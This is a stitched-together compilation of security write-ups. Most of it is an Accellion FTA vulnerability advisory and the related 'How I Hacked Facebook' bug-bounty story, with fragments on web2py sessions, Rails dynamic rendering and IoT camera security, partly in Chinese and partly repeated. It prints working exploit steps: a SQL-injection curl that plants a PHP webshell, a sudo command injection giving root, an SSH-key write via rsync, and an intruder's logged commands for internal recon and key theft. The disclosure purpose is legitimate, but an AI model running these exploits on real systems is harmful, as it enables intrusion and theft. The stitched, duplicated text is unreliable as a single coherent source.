ifresponse.session_storage_type=='cookie':# check if there is session data in cookies
ifresponse.session_data_nameincookies:session_cookie_data=cookies[response.session_data_name].valueelse:session_cookie_data=Noneifsession_cookie_data:data=secure_loads(session_cookie_data,cookie_key,compression_level=compression_level)ifdata:self.update(data)response.session_id=True
Accellion File Transfer Appliance (FTA) is a secure file transfer service which enables users to share and sync files online with AES 128/256 encryption. The Enterprise version further incorporates SSL VPN services with integration of Single Sign-on mechanisms like AD, LDAP and Kerberos.
Vulnerability Details
In this research, the following vulnerabilities were discovered on the FTA version FTA_9_12_0 (13-Oct-2015 Release)
Cross-Site Scripting x 3
Pre-Auth SQL Injection leads to Remote Code Execution
Known-Secret-Key leads to Remote Code Execution
Local Privilege Escalation x 2
The above-mentioned vulnerabilities allow unauthenticated attackers to remotely attack FTA servers and gain highest privileges successfully. After the attackers fully controlled the servers, they will be able to retrieve the encrypted files and user data, etc.
After reporting to CERT/CC, these vulnerabilities were assigned 4 CVEs (CVE-2016-2350, CVE-2016-2351, CVE-2016-2352, CVE-2016-2353).
Areas Affected
According to a public data reconnaissance, there are currently 1,217 FTA servers online around the world, most of which are located in the US, followed by Canada, Australia, UK, and Singapore.
Determine from the domain name and SSL Certificate of these servers, FTA is widely used by governmental bodies, educational institutions, enterprises, including several well-known brands.
Pre-Auth SQL Injection leads to RCE (CVE-2016-2351)
After code reviewing, a pre-authentication SQL Injection vulnerability was found in FTA. This vulnerability grants malicious users access to sensitive data and personal information on the server through SQL Injection, and launch remote code execution (RCE) by further exploiting privilege-escalating vulnerabilities.
The key to this problem lies in the client_properties( ... ) function called by security_key2.api!
Among these parameters, $g_app_id$g_username$client_id and $password are controllable by the attackers. And although the function _decrypt( ... ) handles the passwords, it does not involve in the triggering of the vulnerability.
One thing to pay special attention is that the value of $g_app_id will be treated as a global variable which represents the current Application ID in use, and will be applied in opendb( ) accordingly. The code in opendb( ) includes the following lines:
In mysql_select_db, the name of the database to be opened is controllable by the user. If wrong value was given, the program will be interrupted. Therefore, $g_app_id must be forged correctly.
The following lines are the most important function client_properties( $client_id ).
functionclient_properties($client_id='',$user='',$manager='',$client_type=0,$client_name='',$order_by='client_id',$order_type='a',$limit='',$offset='',$exclude_del=1,$user_type='',$user_status=''){$sql=($user_type=''?'SELECT t_mail_server.* FROM t_mail_server ':'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile ');$filter['client_id']=$client_id;$filter['client_name']=$client_name;$filter['client_type']=$client_type;$filter['user']=mysql_escape_like($user);$filter['user_type']=$user_type;$filter['manager']=$manager;$filter['user_status']=$user_status;$sql&=construct_where_clause($filter,$exclude_del);// ...$result=array();@mysql_query($sql);($db_result=||fatal_error('exec:mysql_query('.$sql.') respond:'.mysql_error(),__FILE__,221));
functionconstruct_where_clause($filter,$exclude_del=1){$where_clause=array();$where_clause[]='c_server_id != \'999\'';if($exclude_del){$where_clause[]='!(t_mail_server.c_flag & '.CLIENT_DELETED.')';}if($filter['client_id']!=''){$where_clause[]='c_server_id = \''.$filter['client_id'].'\'';}if($filter['manager']!=''){$filter['manager']=mysql_real_escape_string($filter['manager']);$where_clause[]='c_manager = \''.$filter['manager'].'\'';}if($filter['client_name']!=''){$filter['client_name']=mysql_real_escape_string($filter['client_name']);$where_clause[]='t_mail_server.c_name LIKE \'%'.$filter['client_name'].'%\'';}if(($filter['user']!=''&&$filter['user']!='%%')){$filter['user']=mysql_real_escape_string($filter['user']);$where_clause[]='t_mail_server.c_user_id LIKE \''.$filter['user'].'\'';}
The parameters passed onto the function client_properties( ... ) will be assembled into SQL statements. Among all the functions joining the assembling, construct_where_clause( ... ) is the most crucial one.
In the function construct_where_clause( ... ), every parameter is protected by the string mysql_real_escape_string except for $client_id. Judging from the coding style of the source code, it might be a result of oversight. Therefore, SQL Injection can be triggered by sending out corresponding parameters according to the program flow.
In addition, FTA database user has root privileges with FILE_PRIV option enabled. By exploiting INTO OUTFILE and writing their own PHP code to write-enabled directory, user will be able to execute code remotely!
PoC
$ curl https://<fta>/courier/1000@/security_key2.api -d"aid=1000&user_id=1&password=1&client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"
The created PHP file will be located at
http://<fta>/courier/themes/templates/.cc.php
Known-Secret-Key leads to Remote Code Execution
In the previous vulnerability, one requirement to execute code remotely is the existence of a write-enabled directory for injecting webshell. But in reality, chances are there is no write-enabled directory available, thus fail to execute code through SQL Injection. But there is another way to help us accomplish RCE.
The precondition of this vulnerability is Known-Secret-Key stored in the database
This is not a problem, since the database can be accessed with the SQL Injection vulnerability mentioned earlier. Also, although there are some parameter filters in the code, they can be bypassed!
If Known-Secret-Key has been acquired, the output of decrypt( $_POST[fc] ) will be controllable. And despite that the succeeding regular expressions work as a function name whitelist filter, they do not filter parameters.
Therefore, the only restriction for injecting random codes in the parameters is to exclude () in the strings. But thanks to the flexible characteristic of PHP, there are lots of ways to manipulate, just to name two examples here.
Execute system commands directly by using backticks (`)
user_profile_auth(`$_POST[cmd]`);
A more elegant way: use the syntax INCLUDE to include the tmp_name of the uploaded files, so that any protection will give way.
Local Privilege Escalation (CVE-2016-2352 and CVE-2016-2353)
After gaining PHP page privileges, we discovered that the privileges were assigned to user nobody. In order to engage in advanced recon, the web environment had been observed. After the observation, two possible privilege escalation vulnerabilities were identified.
1. Incorrect Rsync Configuration
/etc/opt/rsyncd.conf
log file = /home/soggycat/log/kennel.log
...
[soggycat]
path = /home/soggycat
uid = soggycat
read only = false
list = false
...
The module name soggycat is readable and writable to anyone for the directory /home/soggycat/, therefore the SSH Key can be written into /home/soggycat/.ssh/ and then use the soggycat credential to login.
bash-3.2$ id
uid=99(nobody)gid=99(nobody)groups=99(nobody)
bash-3.2$ rsync 0::soggycat/.ssh/
drwx------ 4096 2016/01/29 18:13:41 .-rw-r--r-- 606 2016/01/29 18:13:41 authorized_keys
bash-3.2$ rsync 0::soggycat/.ssh/authorized_keys .
bash-3.2$ cat id_dsa.pub >> authorized_keys
bash-3.2$ rsync authorized_keys 0::soggycat/.ssh/
bash-3.2$ ssh -i id_dsa -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking=no soggycat@localhost id
Could not create directory '/.ssh'.
Warning: Permanently added '0,0.0.0.0'(RSA) to the list of known hosts.
uid=520(soggycat)gid=99(nobody)groups=99(nobody)
2. Command Injection in “yum-client.pl”
To enable system updates through web UI, the sudoers configuration in FTA exceptionally allows the user nobody to directly execute commands with root privileges and update software with the program yum-client.pl.
/etc/sudoers
...
Cmnd_Alias YUM_UPGRADE = /usr/bin/yum -y upgrade
Cmnd_Alias YUM_CLIENT = /usr/local/bin/yum-client.pl
...# User privilege specification
root ALL=(ALL) ALL
admin ALL =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ...
nobody ALL =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT
soggycat ALL =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT
radmin ALL =NOPASSWD: RESET_APPL
...
YUM_CLIENT is the command for proceeding updates. Part of the codes are as follows:
/usr/local/bin/yum-client.pl
...GetOptions('help'=>\$help,'download_only'=>\$download_only,'list'=>\$list,'cache'=>\$cache,'clearcache'=>\$clearcache,'cdrom=s'=>\$cdrom,'appid=s'=>\$appid,'servername=s'=>\$servername,'version=s'=>\$version,'token=s'=>\$token);my$YUM_CMD="/usr/bin/yum";if($cache){$YUM_CMD="$YUM_CMD -C";}# if this is based on RHEL 5, change the repositorymy$OS=`grep -q 5 /etc/redhat-release && echo -n 5`;my$LOGFILE="/home/seos/log/yum-client.log";my$STATUSFILE="/home/seos/log/yum-client.status";my$YUMCONFIG="/etc/yum.conf";my$YUMDIFF_FILE='/home/seos/log/yum.diff';if($cdrom){if($OSeq"5"){$YUM_CMD="$YUM_CMD -c $cdrom_path/yum.conf-5";}else{$YUM_CMD="$YUM_CMD -c $cdrom_path/yum.conf";}system("mkdir -p /mnt/cdrom && mount -o loop $cdrom$cdrom_path")==0orfdielog($LOGFILE,"unable to mount: $!");}
After taking a closer look on ymm-client.pl, a Command Injection vulnerability was found on the parameter --cdrom. This vulnerability enables attackers to inject any commands into the parameter and execute as root.
Thus, using the commands below
bash-3.2$ id
uid=99(nobody)gid=99(nobody)groups=99(nobody)
bash-3.2$ sudo /usr/local/bin/yum-client.pl --cdrom='$(id > /tmp/.gg)'
mount: can't find /mnt/cdrom in /etc/fstab or /etc/mtab
unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113.
bash-3.2$ cat /tmp/.gg
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
will grant execution freely as root!
Backdoor
After gaining the highest privilege and carrying out server recon, we identified that several backdoors had been already planted in FTA hosts. One of them is an IRC Botnet which had been mentioned in Niara’s Accellion File Transfer Appliance Vulnerability.
Apart from that, two additional PHP Webshells of different types which had NEVER been noted in public reports were also identified. Through reviewing Apache Log, these backdoors might be placed by exploiting the CVE-2015-2857 vulnerability discovered in mid-2015.
One of the backdoors is PHPSPY, it is found on 62 of the online hosts globally. It was placed in
The other is WSO, found on 9 of the online hosts globally, placed in
https://<fta>/courier/themes/templates/imag.php
Acknowledgement
The vulnerability mentioned in this Advisory was identified in early 2016 while looking for vulnerabilities in Facebook, you can refer to the article “How I Hacked Facebook, and Found Someone’s Backdoor Script”.
Upon discovering the FTA vulnerability in early February, I notified Facebook and Accellion and both were very responsive. Accellion responded immediately, issuing patch FTA_9_12_40 on February 12th and notifying all affected customers about the vulnerability and instructions to install the patch. Accellion has been very communicative and cooperative throughout this process.
Timeline
Feb 6, 2016 05:21 Contact Accellion for vulnerability report
Feb 7, 2016 12:35 Send the report to Accellion Support Team
Mar 3, 2016 03:03 Accellion Support Team notifies patch will be made in FTA_9_12_40
May 10, 2016 15:18 Request Advisory submission approval and report the new discovery of two backdoors to Accellion
Jun 6, 2016 10:20 Advisory finalized by mutual consent
functionclient_properties($client_id='',$user='',$manager='',$client_type=0,$client_name='',$order_by='client_id',$order_type='a',$limit='',$offset='',$exclude_del=1,$user_type='',$user_status=''){$sql=($user_type=''?'SELECT t_mail_server.* FROM t_mail_server ':'SELECT t_mail_server.*, t_profile.c_flag as profile_flag FROM t_mail_server, t_profile ');$filter['client_id']=$client_id;$filter['client_name']=$client_name;$filter['client_type']=$client_type;$filter['user']=mysql_escape_like($user);$filter['user_type']=$user_type;$filter['manager']=$manager;$filter['user_status']=$user_status;$sql&=construct_where_clause($filter,$exclude_del);// ...$result=array();@mysql_query($sql);($db_result=||fatal_error('exec:mysql_query('.$sql.') respond:'.mysql_error(),__FILE__,221));
functionconstruct_where_clause($filter,$exclude_del=1){$where_clause=array();$where_clause[]='c_server_id != \'999\'';if($exclude_del){$where_clause[]='!(t_mail_server.c_flag & '.CLIENT_DELETED.')';}if($filter['client_id']!=''){$where_clause[]='c_server_id = \''.$filter['client_id'].'\'';}if($filter['manager']!=''){$filter['manager']=mysql_real_escape_string($filter['manager']);$where_clause[]='c_manager = \''.$filter['manager'].'\'';}if($filter['client_name']!=''){$filter['client_name']=mysql_real_escape_string($filter['client_name']);$where_clause[]='t_mail_server.c_name LIKE \'%'.$filter['client_name'].'%\'';}if(($filter['user']!=''&&$filter['user']!='%%')){$filter['user']=mysql_real_escape_string($filter['user']);$where_clause[]='t_mail_server.c_user_id LIKE \''.$filter['user'].'\'';}
$ curl https://<fta>/courier/1000@/security_key2.api -d"aid=1000&user_id=1&password=1&client_id=' OR 1=1 LIMIT 1 INTO OUTFILE '/home/seos/courier/themes/templates/.cc.php' LINES TERMINATED BY 0x3c3f...#"
...
Cmnd_Alias YUM_UPGRADE = /usr/bin/yum -y upgrade
Cmnd_Alias YUM_CLIENT = /usr/local/bin/yum-client.pl
...# User privilege specification
root ALL=(ALL) ALL
admin ALL =NOPASSWD: UPDATE_DNS, UPDATE_GW, UPDATE_NTP, RESTART_NETWORK, CHMOD_OLDTEMP ...
nobody ALL =NOPASSWD: SSL_SYSTEM, ADMIN_SYSTEM, IPSEC_CMD, YUM_CLIENT
soggycat ALL =NOPASSWD: ADMIN_SYSTEM, IPSEC_CMD, CHOWN_IPSEC, UPDATE_IPSEC, YUM_CLIENT
radmin ALL =NOPASSWD: RESET_APPL
...
其中 YUM_CLIENT 就是進行更新的指令，部分代碼如下：
/usr/local/bin/yum-client.pl
...GetOptions('help'=>\$help,'download_only'=>\$download_only,'list'=>\$list,'cache'=>\$cache,'clearcache'=>\$clearcache,'cdrom=s'=>\$cdrom,'appid=s'=>\$appid,'servername=s'=>\$servername,'version=s'=>\$version,'token=s'=>\$token);my$YUM_CMD="/usr/bin/yum";if($cache){$YUM_CMD="$YUM_CMD -C";}# if this is based on RHEL 5, change the repositorymy$OS=`grep -q 5 /etc/redhat-release && echo -n 5`;my$LOGFILE="/home/seos/log/yum-client.log";my$STATUSFILE="/home/seos/log/yum-client.status";my$YUMCONFIG="/etc/yum.conf";my$YUMDIFF_FILE='/home/seos/log/yum.diff';if($cdrom){if($OSeq"5"){$YUM_CMD="$YUM_CMD -c $cdrom_path/yum.conf-5";}else{$YUM_CMD="$YUM_CMD -c $cdrom_path/yum.conf";}system("mkdir -p /mnt/cdrom && mount -o loop $cdrom$cdrom_path")==0orfdielog($LOGFILE,"unable to mount: $!");}
bash-3.2$ id
uid=99(nobody)gid=99(nobody)groups=99(nobody)
bash-3.2$ sudo /usr/local/bin/yum-client.pl --cdrom='$(id > /tmp/.gg)'
mount: can't find /mnt/cdrom in /etc/fstab or /etc/mtab
unable to mount: Bad file descriptor at /usr/local/bin/yum-client.pl line 113.
bash-3.2$ cat /tmp/.gg
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 2011255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...
使用 Shell Script 進行內網掃描但忘記把 STDERR 導掉XD
嘗試對內部 LDAP 進行連接
sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'
嘗試訪問內部網路資源
( 看起來 Mail OWA 可以直接訪問 …)
--20:38:09-- https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10-- https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'
0K ........ 100% 1.17G=0s
20:38:10 (1.17 GB/s) - `-' saved [8902/8902]
--20:38:33-- (try:15) https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03-- https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.
嘗試對 SSL Private Key 下手
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input
As a pentester, I love server-side vulnerabilities more than client-side ones. Why? Because it’s way much cooler to take over the server directly and gain system SHELL privileges. <(￣︶￣)>
Of course, both vulnerabilities from the server-side and the client-side are indispensable in a perfect penetration test. Sometimes, in order to take over the server more elegantly, it also need some client-side vulnerabilities to do the trick. But speaking of finding vulnerabilities, I prefer to find server-side vulnerabilities first.
With the growing popularity of Facebook around the world, I’ve always been interested in testing the security of Facebook. Luckily, in 2012, Facebook launched the Bug Bounty Program, which even motivated me to give it a shot.
From a pentester’s view, I tend to start from recon and do some research. First, I’ll determine how large is the “territory” of the company on the internet, then…try to find a nice entrance to get in, for example:
What can I find by Google Hacking?
How many B Class IP addresses are used? How many C Class IPs?
Whois? Reverse Whois?
What domain names are used? What are their internal domain names? Then proceed with enumerating sub-domains
What are their preferred techniques and equipment vendors?
Any data breach on Github or Pastebin?
…etc
Of course, Bug Bounty is nothing about firing random attacks without restrictions. By comparing your findings with the permitted actions set forth by Bug Bounty, the overlapping part will be the part worth trying.
Here I’d like to explain some common security problems found in large corporations during pentesting by giving an example.
For most enterprises, “Network Boundary” is a rather difficult part to take care of. When the scale of a company has grown large, there are tens of thousands of routers, servers, computers for the MIS to handle, it’s impossible to build up a perfect mechanism of protection. Security attacks can only be defended with general rules, but a successful attack only needs a tiny weak spot. That’s why luck is often on the attacker’s side: a vulnerable server on the “border” is enough to grant a ticket to the internal network!
Lack of awareness in “Networking Equipment” protection. Most networking equipment doesn’t offer delicate SHELL controls and can only be configured on the user interface. Oftentimes the protection of these devices is built on the Network Layer. However, users might not even notice if these devices were compromised by 0-Day or 1-Day attacks.
Security of people: now we have witnessed the emergence of the “Breached Database” (aka “Social Engineering Database” in China), these leaked data sometimes makes the penetration difficulty incredibly low. Just connect to the breach database, find a user credential with VPN access…then voilà! You can proceed with penetrating the internal network. This is especially true when the scope of the data breach is so huge that the Key Man’s password can be found in the breached data. If this happens, then the security of the victim company will become nothing. :P
For sure, when looking for the vulnerabilities on Facebook, I followed the thinking of the penetration tests which I was used to. When I was doing some recon and research, not only did I look up the domain names of Facebook itself, but also tried Reverse Whois. And to my surprise, I found an INTERESTING domain name:
tfbnw.net
TFBNW seemed to stand for “TheFacebook Network”
Then I found bellow server through public data
vpn.tfbnw.net
WOW. When I accessed vpn.tfbnw.net there’s the Juniper SSL VPN login interface. But its version seemed to be quite new and there was no vulnerability can be directly exploited…nevertheless, it brought up the beginning of the following story.
It looked like TFBNW was an internal domain name for Facebook. Let’s try to enumerate the C Class IPs of vpn.tfbnw.net and found some interesting servers, for example:
Mail Server Outlook Web App
F5 BIGIP SSL VPN
CISCO ASA SSL VPN
Oracle E-Business
MobileIron MDM
From the info of these servers, I thought that these C Class IPs were relatively important for Facebook. Now, the whole story officially starts here.
Vulnerability Discovery
I found a special server among these C Class IPs.
files.fb.com
↑ Login Interface of files.fb.com
Judging from the LOGO and Footer, this seems to be Accellion’s Secure File Transfer (hereafter known as FTA)
FTA is a product which enables secure file transfer, online file sharing and syncing, as well as integration with Single Sign-on mechanisms including AD, LDAP and Kerberos. The Enterprise version even supports SSL VPN service.
Upon seeing this, the first thing I did was searching for publicized exploits on the internet. The latest one was found by HD Moore and made public on this Rapid7’s Advisory
Whether this vulnerability is exploitable can be determined by the version information leaked from “/tws/getStatus”. At the time I discovered files.fb.com the defective v0.18 has already been updated to v0.20. But from the fragments of source code mentioned in the Advisory, I felt that with such coding style there should still be security issues remained in FTA if I kept looking. Therefore, I began to look for 0-Day vulnerabilities on FTA products!
Actually, from black-box testing, I didn’t find any possible vulnerabilities, and I had to try white-box testing. After gathering the source codes of previous versions FTA from several resources I could finally proceed with my research!
The FTA Product
Web-based user interfaces were mainly composed of Perl & PHP
The PHP source codes were encrypted by IonCube
Lots of Perl Daemons in the background
First I tried to decrypt IonCube encryption. In order to avoid being reviewed by the hackers, a lot of network equipment vendors will encrypt their product source codes. Fortunately, the IonCube version used by FTA was not up to date and could be decrypted with ready-made tools. But I still had to fix some details, or it’s gonna be messy…
After a simple review, I thought Rapid7 should have already got the easier vulnerabilities. T^T
And the vulnerabilities which needed to be triggered were not easy to exploit. Therefore I need to look deeper!
Finally, I found 7 vulnerabilities, including
Cross-Site Scripting x 3
Pre-Auth SQL Injection leads to Remote Code Execution
Known-Secret-Key leads to Remote Code Execution
Local Privilege Escalation x 2
Apart from reporting to Facebook Security Team, other vulnerabilities were submitted to Accellion Support Team in Advisory for their reference. After vendor patched, I also sent these to CERT/CC and they assigned 4 CVEs for these vulnerabilities.
CVE-2016-2350
CVE-2016-2351
CVE-2016-2352
CVE-2016-2353
More details will be published after full disclosure policy!
↑ Using Pre-Auth SQL Injection to Write Webshell
After taking control of the server successfully, the first thing is to check whether the server environment is friendly to you. To stay on the server longer, you have to be familiar with the environments, restrictions, logs, etc and try hard not to be detected. :P
There are some restrictions on the server:
Firewall outbound connection unavailable, including TCP, UDP, port 53, 80 and 443
Remote Syslog server
Auditd logs enabled
Although the outbound connection was not available, but it looked like ICMP Tunnel was working. Nevertheless, this was only a Bug Bounty Program, we could simply control the server with a webshell.
Was There Something Strange?
While collecting vulnerability details and evidences for reporting to Facebook, I found some strange things on web log.
First of all I found some strange PHP error messages in “/var/opt/apache/php_error_log”
These error messages seemed to be caused by modifying codes online?
↑ PHP error log
I followed the PHP paths in error messages and ended up with discovering suspicious WEBSHELL files left by previous “visitors”.
The first few ones were typical PHP one-line backdoor and there’s one exception: “sclient_user_class_standard.inc”
In include_once “sclient_user_class_standard.inc.orig” was the original PHP app for password verification, and the hacker created a proxy in between to log GET, POST, COOKIE values while some important operations were under way.
A brief summary, the hacker created a proxy on the credential page to log the credentials of Facebook employees. These logged passwords were stored under web directory for the hacker to use WGET every once in a while
From this info we can see that apart from the logged credentials there were also contents of letters requesting files from FTA, and these logged credentials were rotated regularly (this will be mentioned later, that’s kinda cheap…XD)
And at the time I discovered these, there were around 300 logged credentials dated between February 1st to 7th, from February 1st, mostly “@fb.com” and “@facebook.com”. Upon seeing it I thought it’s a pretty serious security incident. In FTA, there were mainly two modes for user login
Regular users sign up: their password hash were stored in the database and hashed encrypted with SHA256+SALT
All Facebook employees (@fb.com) used LDAP and authenticated by AD Server
I believe these logged credentials were real passwords and I GUESS they can access to services such as Mail OWA, VPN for advanced penetration…
In addition, this hacker might be careless:P
The backdoor parameters were passed through GET method and his footprinting can be identified easily in from web log
When the hacker was sending out commands, he didn’t take care of STDERR, and left a lot of command error messages in web log which the hacker’s operations could be seen
From access.log, every few days the hacker will clear all the credentials he logged
dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 2011255); do for j in $(seq 0 1 255); do echo "192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`"; done; done' 2>/dev/stdout
...
Use ShellScript to scan internal network but forgot to redirect STDERR XD
Attempt to connect internal LDAP server
sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2>/dev/stdout'
Attempt to access internal server
(Looked like Mail OWA could be accessed directly…)
--20:38:09-- https://mail.thefacebook.com/
Resolving mail.thefacebook.com... 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://mail.thefacebook.com/owa/ [following]
--20:38:10-- https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0 [following]
--20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/&reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response... 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'
0K ........ 100% 1.17G=0s
20:38:10 (1.17 GB/s) - `-' saved [8902/8902]
--20:38:33-- (try:15) https://10.8.151.47/
Connecting to 10.8.151.47:443... --20:38:51-- https://svn.thefacebook.com/
Resolving svn.thefacebook.com... failed: Name or service not known.
--20:39:03-- https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com... failed: Name or service not known.
failed: Connection timed out.
Retrying.
Attempt to steal SSL Private Key
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input
After checking the browser, the SSL certificate of files.fb.com was *.fb.com …
Epilogue
After adequate proofs had been collected, they were immediately reported to Facebook Security Team. Other than vulnerability details accompanying logs, screenshots and timelines were also submitted xD
Also, from the log on the server, there were two periods that the system was obviously operated by the hacker, one in the beginning of July and one in mid-September
the July one seemed to be a server “dorking” and the September one seemed more vicious. Other than server “dorking” keyloggers were also implemented. As for the identities of these two hackers, were they the same person? Your guess is as good as mine. :P
The time July incident happened to take place right before the announcement of CVE-2015-2857 exploit. Whether it was an invasion of 1-day exploitation or unknown 0-day ones were left in question.
Here’s the end of the story, and, generally speaking, it was a rather interesting experience xD
Thanks to this event, it inspired me to write some articles about penetration :P
Last but not least, I would like to thank Bug Bounty and tolerant Facebook Security Team so that I could fully write down this incident : )
Timeline
2016/02/05 20:05 Provide vulnerability details to Facebook Security Team
2016/02/05 20:08 Receive automatic response
2016/02/06 05:21 Submit vulnerability Advisory to Accellion Support Team
2016/02/06 07:42 Receive response from Thomas that inspection is in progress
2016/02/13 07:43 Receive response from Reginaldo about receiving Bug Bounty award $10000 USD
2016/02/13 Asking if there anything I should pay special attention to in blog post ?
2016/02/13 Asking Is this vulnerability be classify as a RCE or SQL Injection ?
2016/02/18 Receive response from Reginaldo about there is a forensics investigation, Would you be able to hold your blog post until this process is complete?
2016/02/24 Receive response from Hai about the bounty will include in March payments cycle.
2016/04/20 Receive response from Reginaldo about the forensics investigation is done
In Rails, controller actions and views can dynamically determine which view or partial to render by calling the “render” method. If user input is used in or for the template name, an attacker could cause the application to render an arbitrary view, such as an administrative page.
Care should be taken when using user input to determine which view to render. If possible, avoid any user input in the name or path to the view.
OWASP 是說，如果你的樣板路徑是動態產生的，而且使用者可以控制那個樣板路徑，那麼使用者就可以讀取到任意樣板，包含管理介面的樣板。這樣的描述感覺還好，但就我們的發現，這其實是更嚴重的直接存取物件問題(Insecure Direct Object References)，甚至有機會造成遠端命令執行(Remote Code Execution)，怎麼說呢？我們直接看下去。
# lib/action_view/template/resolver.rbdefextract_handler_and_format_and_variant(path,default_formats)pieces=File.basename(path).split(".")pieces.shiftextension=pieces.popunlessextensionmessage="The file #{path} did not specify a template handler. The default is currently ERB, "\"but will change to RAW in the future."ActiveSupport::Deprecation.warnmessageendhandler=Template.handler_for_extension(extension)format,variant=pieces.last.split(EXTENSIONS[:variants],2)ifpieces.lastformat&&=Template::Types[format][handler,format,variant]end
這是一個非常經典的案例！一般攻擊者入侵攝影機最常見的就是為了偷看攝影機畫面，再進階一點的可能會控制該攝影機進一步攻擊內網。而這家廠商身為知名保全公司投資成立的安控公司，理當為客戶的監控畫面做最周全的規劃、最謹慎的防護，但是結果呢？報告各位，完全沒有任何防護！只要連到 IP 位址就可以直接看到攝影機畫面，也是屬於裸奔一族…
在物連網的時代中，各種可進行無線通訊的設備被攻擊的事件屢見不鮮，例如 2011 年知名駭客 Jay Radcliffe 在 Black Hat 展示如何攻擊胰島素注射器，2013 年已故駭客 Barnaby Jack 原本要在 Black Hat 展示如何利用藍芽通訊控制心律調整器，甚至 2014 年甫推出的可遠程變換顏色燈泡也被揭露有資安問題。在不久的未來，這些資安問題只會更多，身為民眾、企業、廠商的你，準備好面對萬物皆可駭的物連網時代了嗎？
對於這樣海量收集資料衍生的資安議題，我們認為最大的受害者，是物聯網的使用者！就我們的觀察，物聯網的設備通常安全防護不佳，容易遭受到駭客攻擊，前陣子 HP 也出了一份報告指出，物聯網的設備有七成存在弱點，而且每台設備平均有 25 個弱點。除此之外，物聯網的設備不易更新，少有人會定期更新，更導致物聯網設備可以被大範圍的攻擊，進而滲透家用網路，危害使用者居家隱私。這是個未來需要持續關注的重要議題。
